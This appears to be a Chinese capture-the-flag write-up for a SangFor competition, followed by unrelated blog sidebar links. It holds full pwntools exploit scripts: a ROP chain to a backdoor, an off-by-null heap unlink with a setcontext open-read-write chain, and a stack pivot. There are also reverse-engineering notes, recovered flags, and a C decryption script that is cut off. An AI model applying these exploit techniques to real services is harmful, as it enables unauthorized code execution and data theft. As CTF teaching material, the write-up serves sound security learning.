1
PWN
1、Babyrop栈溢出,且存在后门函数;
利用func1将'/cin/sh'修改为'/bin/sh',
利用func2调用参数执行system('/bin/sh')即可
#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
#p = process("./BabyRop")
p = remote("192.168.39.161", 11000)
elf = ELF("./BabyRop")
payload = flat([
'a'*(0x28+4),
0x80491fd, #func1
0x8049332, # ret address ;pop rdx r15 ;ret
0x804c024,
1,
0x80491d6, #func2:system
0x80491d6,
0x804c024
])
p.sendline(payload)
p.interactive()
Libc 2.23 + off by null:
Off by null使得下个相邻chunk的pre_inuse置零;然后伪造pre_size,以及fake chunk的fd,bk,之后释放pre_inuse置零的chunk,实现unlink,造成堆块重叠;
最后覆写重叠堆块上存在的函数指针,改为setcontext+53,并提前布置好orw的rop链,调用show函数时,触发orw读出flag;
#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
pc="./name"
#p=process(pc,env={"LD_PRELOAD":"./libc.so.6"})
p = remote(192.168.39.161,9999)
ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00'))
rv6 = lambda : u64(rv(6)+'\x00'*2)
what_idx="index:"
def add(size):
ru("5.exit\n")
sl("1")
ru("name size:")
sl(str(size))
def edit(idx,c):
ru("5.exit\n")
sl("2")
ru(what_idx)
sl(str(idx))
ru("name:")
sl(c)
def show(idx):
ru("5.exit\n")
sl("3")
ru(what_idx)
sl(str(idx))
def dele(idx):
ru("5.exit\n")
sl("4")
ru(what_idx)
sl(str(idx))
add(0x100) #0
add(0x100) #1
dele(0)
add(0x30)
show(0)
libc_base = ru7f() - 0x3c4b78 -0xe0
setcontext_53 = libc_base + libc.sym['setcontext'] + 53
add(0x10) #2
show(2)
ru('\n') #这里需要根据具体情况调试
heap_addr = rv6() - 0xad0
dele(0)
add(0x48) #0
add(0x100) #3
pay = flat([
0,0x41,
heap_addr+0xc8-0x18,heap_addr+0xc8-0x10,
'a'*0x20,
0x40
])
edit(0,pay)
edit(3,'a'*0xf0+p64(0x100)+p64(0x121))
dele(3)
add(0x10) #3
add(0xa8-0x20) #4
add(0xc0) #5
srop_addr = heap_addr+0xb30
pay = flat([
0,0x21,
setcontext_53,srop_addr
])
edit(0,pay)
syscall = libc_base + 0xbc3f5
p_rdi = libc_base + 0x21112
p_rsi = libc_base + 0x202f8
p_rax_rdx_rbx = libc_base + 0x1436b1
ret = p_rsi+1
rop_base = heap_addr + 0xc60
edit(5,'\x00'*0xa0+p64(rop_base)+p64(ret))
flag_str_addr = heap_addr
flag_addr=rop_base+0xd8
payload=flat([
p_rdi,flag_addr,
p_rsi,4,
p_rax_rdx_rbx,2,4,0,
syscall,
p_rdi,3,
p_rsi,flag_str_addr,
p_rax_rdx_rbx,0,0x50,0,
syscall,
p_rdi,1,
p_rsi,flag_str_addr,
p_rax_rdx_rbx,1,0x50,0,
syscall,
'flag\x00'
])
edit(1, payload)
show(0)
p.interactive()
查看保护:
存在栈溢出的点:
第一次溢出劫持rbp,再返回到溢出函数;
第二次溢出,首先往bss段上读orw的gadget,其中pop rdx要自己写到bss上;
然后栈迁移到bss段上,执行orw
#!usr/bin/env python
#-*- coding:utf8 -*-
from pwn import *
pc="./nologin"
reomote_addr=["",40001]
context.log_level="debug"
# p=process(pc)
p = remote("192.168.39.161",40001)
ru = lambda x : p.recvuntil(x,timeout=0.2)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
ru7f = lambda : u64(ru('\x7f')[-6:].ljust(8,'\x00'))
rv6 = lambda : u64(rv(6)+'\x00'*2)
p.sendlineafter("input>> \n","2")
flag_addr = 0x0602020+0x400
str_addr = 0x0602050
p.sendlineafter(">password: \n","1"*5+p64(flag_addr)+p64(0x400FF8))
# rax=0x602420
p.sendafter("password: \n","a"*0xd+p64(0x4009BC)+"a"*9 )
read_addr = 0x400780
open_addr = 0x4007B0
puts_addr = 0x400730
p_rdi = 0x401173
p_rsi_r15 = 0x401171
p_rdx = 0x6024b0
orw = flat([
p_rdi,flag_addr,
p_rsi_r15,0,0,
open_addr,
p_rdi,4,
p_rsi_r15,str_addr,0,
p_rdx,0x40,
read_addr,
p_rdi,str_addr,
puts_addr
])
p.sendline(("./flag".ljust(8,'\x00')+orw+asm("pop rdx\nret\n")) )
p.interactive()
2
Re
1、Android将apk文件拉到jeb中进行分析,发现checkflag的关键逻辑在activity层
可以看到是一个base64算法,但是base表要通过和服务器交互得到
main里面有交互的代码
远程连接端口,输入的值进行md5,之后每字节减1为c232666f1410b3f5010dc51cec341f58
直接进行在线解密
之后连接端口取得变表,base解密得到flag为
SangFor{212f4548-03d1-11ec-ab68-00155db3a27e}
分析程序,将程序smc动调自解密后,发现是一个vm
动态调试 跟进程序逻辑,发现 vm就是前32字节就是取数据单字节异或,后面的12字节分为3组进行相同的加密
得到以下关键点:
前32字节最后比较的地方
取输入
前三十二字节的异或
之后三组加密对比密文的地方:
同时跟进加密逻辑为
data = (data >> 5)^data
data = ((tmp 0x12)^ data
这三组用z3进行约束求解
之后 分段解密得到flag字符串为16584abc45baff901c59dde3b1bb6701a254b06cdc23
3、smc首先搜索字符串定位关键代码
动态调试,让程序自解密得到代码如下:
分析发现就是将程序进行base64变表加密之后再与四个数字进行异或
跟到base变表如下:
之后直接上脚本解密
#include
#include
using namespace std;
int main()
{
int table[64] = {0xE4,0xC4,0xE7,0xC7,0xE6,0xC6,0xE1,0xC1,0xE0,0xC0,0xE3,0xC3,0xE2,0xC2,0xED,0xCD,0xEC,0xCC,0xEF,0xCF,0xEE,0xCE,0xE9,0xC9,0xE8,0xC8,0xEB,0xCB,0xEA,0xCA,0xF5,0xD5,0xF4,0xD4,0xF7,0xD7,0xF6,0xD6,0xF1,0xD1,0xF0,0xD0,0xF3,0xD3,0xF2,0xD2,0xFD,0xDD,0xFC,0xDC,0xFF,0xDF,0x95,0x9C,0x9D,0x92,0x93,0x90,0x91,0x96,0x97,0x94,0x8A,0x8E};
int code[56] = {0x48,0x3E,0x6F,0x51,0x6E,0x36,0x61,0x71,0x4C,0x72,0x7B,0x44,0x48,0x36,0x6F,0x64,0x68,0x64,0x6D,0x30,0x64,0x4D,0x65,0x60,0x4D,0x42,0x6F,0x3F,0x6C,0x52,0x67,0x6C,0x48,0x74,0x47,0x50,0x4F,0x64,0x6F,0x62,0x44,0x6C,0x6B,0x6E,0x65,0x6A,0x6D,0x47,0x49,0x7C,0x67,0x68,0x44,0x62,0x3C,0x34};
for(int k=0;k
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?


微信扫码登录